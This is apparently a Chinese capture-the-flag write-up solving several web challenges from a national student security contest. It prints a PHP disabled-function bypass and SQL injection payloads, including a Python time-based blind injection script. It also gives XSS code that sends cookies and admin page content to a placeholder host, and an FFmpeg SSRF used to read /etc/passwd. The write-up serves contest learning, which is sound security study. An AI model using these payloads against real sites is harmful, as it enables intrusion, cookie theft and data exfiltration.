第十届全国大学生信息安全竞赛-web-writeup
PHP execise
http://106.75.126.194:6789
备用 http://106.75.126.228:6789
输入点是能够执行php代码的,看了一下disabled_function
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,fopen,file_get_contents,fread,file_get_contents,file,readfile,opendir,readdir,closedir,rewinddir,
对很多文件操作,目录操作函数禁用了,但是当然还是有些没用过滤完整,导致可以列目录,以及对文件的其他操作
列目录
$dir="./";$file=scandir($dir);print_r($file);
copy flag文件为txt文件
copy('flag_62cfc2dc115277d0c04ed0f74e48e3e9.php','lemon.txt');
flag是flag{php_mail_ld_preload}
,从flag内容来看,感觉这个题目是被非预期的很严重。
瞄了一下其他师傅的wp,还有很多中解法,glob读目录,include、show_source读取文件
wanna to see your hat
http://106.75.106.203:1515
备用 http://61.174.9.233:1515
盲测的时候感觉很懵逼,后面目录扫描发现了svn
http://106.75.106.203:1515/.svn/
svn恢复工具: https://github.com/kost/dvcs-ripper
主要问题还是这个str_replace
因为经过common.php中的addslashes
全局对$_POST处理,这样过滤为空的话,就只剩下了\
,刚好绕过单引号的限制
http://61.174.9.233:1515/route.php?act=login
name=or/**/1=1%23'&submit=check
flag{good_job_white_hat}
flag vending machine
http://202.5.20.48/
逻辑是注册用户 -> 登陆 -> 购买
注册的时候有waf,会过滤某些字符为空,比如on
,select
等
开始没注意,导致登陆的时候会经常出现点莫名其妙的问题
购买的时候,我猜可能是先通过商品的id查询出价钱,然后再从session里面获取用户名,直接update
去扣除用户钱包里面的钱,其中从session取值的时候没有做过滤,虽然前面都做了。
import requests
site = 'http://202.5.20.48/'
url = site + 'register.php'
url1 = site + 'login.php'
url2 = site + 'buy.php?id=1'
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
"Content-Type": "application/x-www-form-urlencoded"}
s = requests.session()
def reg(username):
data = {
'user': username,
'pass' : '123456'
}
r = s.post(url,data=data,headers=headers)
return r.content
def login(username):
user = username.replace('on','')
#print user
data = {
'user': user,
'pass' : '123456'
}
r1 = s.post(url1,data=data,headers=headers)
return r1.content
def get_sql():
r = s.get(url2,timeout=1)
def bypasswaf(payload):
# add on
k = ['on','ff']
for i in k:
payload = payload.replace(i,i[0]+'on'+i[1:])
l = ['select','union','where']
for i in l:
payload = payload.replace(i,i[:3]+'on'+i[3:])
# l = ['limit']
# for i in l:
# payload = payload.replace(i,i[:2]+'on'+i[2:])
return payload
def exp(n):
for i in range(33,127):
#for i in range(97,123):
# n = 25
sql = "select table_name from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1"
sql = "select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() limit 0,1"
sql = "select thisi5f14g from fff1ag"
#sql = "select 3456"
sql = bypasswaf(sql)
#user = "lemonkka'-(if(ord(mid((%s),%d,1))=%d,sleep(2),1))-0#" % (sql,n,i)
user = "zzzkacaa'-(if(ord(mid((%s),%d,1))=%d,sleep(0.0001),1))-1#" % (sql,n,i)
if 'exited' in reg(user):
print 'exited!!!!!!!!!!!'
login(user)
try:
get_sql()
except:
return chr(i)
for i in range(1,30):
print i,'th: data'
print exp(i)
可以得到flag: flag{bbb6b6ui1d_5q1_iz_3z}
踩坑踩在#
上面,一开始不应该用%23
去测,导致半天没效果.
Guestbook
http://106.75.119.64:8888/
大概是绝望,总共是有两个xss点,rename.php
、还有一个文本提交
目录结构:
一开始是很熟悉的套路,文本提交那有0ctf出的xss沙盒
利用新建一个iframe可绕过
var iframe = document.createElement('iframe');
iframe.src = 'about:blank';
document.body.appendChild(iframe);
window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest;
发现/upload/下是没cookie的
然后仔细研读了首页这几句
hello guest,if you want, you can rname.
You can also send message to the administrator, the administrator will review your.
猜想应该是administrator作为bot去运行文本框输入的xss代码,/admin/review.php
提示mb, you are not admin!!!
,还以为是rename修改为admin就好了
var pkav = {
ajax: function () {
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
} catch (e) {
try {
xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {
return false;
}
}
}
return xmlHttp;
},
req: function (url, data, method, callback) {
method = (method || '').toUpperCase();
method = method || 'GET';
data = data || '';
if (url) {
var a = this.ajax();
a.open(method, url, true);
if (method == 'POST') {
a.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
}
a.onreadystatechange = function () {
if (a.readyState == 4 && a.status == 200) {
if (callback) {
callback(a.responseText);
}
}
};
if ((typeof data) == 'object') {
var arr = [
];
for (var i in data) {
arr.push(i + '=' + encodeURIComponent(data[i]));
}
a.send(arr.join('&'));
} else {
a.send(data || null);
}
}
},
get: function (url, callback) {
this.req(url, '', 'GET', callback);
},
post: function (url, data, callback) {
this.req(url, data, 'POST', callback);
}
};
pkav.post('http://106.75.119.64:8888/rename.php','nname=admin',function(data){
pkav.get('http://106.75.119.64:8888/',function(data){
pkav.get('http://106.75.119.64:8888/admin/review.php',function(data){
var content = window.btoa(document.cookie).concat(window.btoa(data));
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ipipip/".concat(content));
document.head.appendChild(n0t);
});
});
});
请求了一番,从源码、cookie中并未发现flag,最后通过ajax请求/admin/
访问时403是无返回的,还以为会把flag藏在这个页面,通过Iframe获取网页信息以及cookie,发现flag在里面,才意识到cookie path路径问题.
<script>
var iframe = document.createElement("iframe");
iframe.setAttribute("src", "/admin/");
document.body.appendChild(iframe);
iframe.addEventListener( "load", function(){
var content = iframe.contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ipipip:8080/".concat(window.btoa(content)));
document.head.appendChild(n0t);
}, false);
</script>
flag:flag{cr4ck_c5p_m4ybe_3z}
方舟计划
http://123.59.71.217
注册的时候,phone
存在问题,但是测试发现直接拦截了一些关键字,select from
直接拦截,但是可以用select /*!50000from*/
去绕过
username=xxee1&phone=-12' and extractvalue(0x2a,concat(0x2a,(select table_name /*!50000from*/ information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))) and '1'='1&password=1234&repassword=1234
查询当前user表的时候需要另外的select一次,可得到用户名、密码
username=xxee1&phone=-12' and updatexml(1,concat(0x7e,(select a.name /*!50000from*/ (select password as name /*!50000from*/ user where id=1 limit 0,1)a)),0) and '1&password=1234&repassword=1234
fangzh0u
mIiD2wpTUTnWDzJO6d329w==
从config表中的secrectkey得到一个密钥
AES解密得到密码tencent123
后面就是前段时间出的FFmpeg的ssrf漏洞,可以读取本地文件内容
利用工具:https://github.com/neex/ffmpeg-avi-m3u-xbin
从/proc/self/cmdline
获取到网站路径
但是读取web目录源码并未发现flag,读取/etc/passwd
上传被拦截了,发现是针对特定的关键字进行拦截,file:///etc//passwd
即可绕过,发现
最后读取/home/s0m3b0dy/flag
得到flag
做题过程中,学到一个新的姿势点
向数据库插入记录时,有时会有这种需求,当符合某种条件的数据存在时,去修改它,不存在时,则新增,也就是insertOrUpdate操作
INSERT ... ON DUPLICATE KEY UPDATE Syntax
http://blog.csdn.net/ghsau/article/details/23557915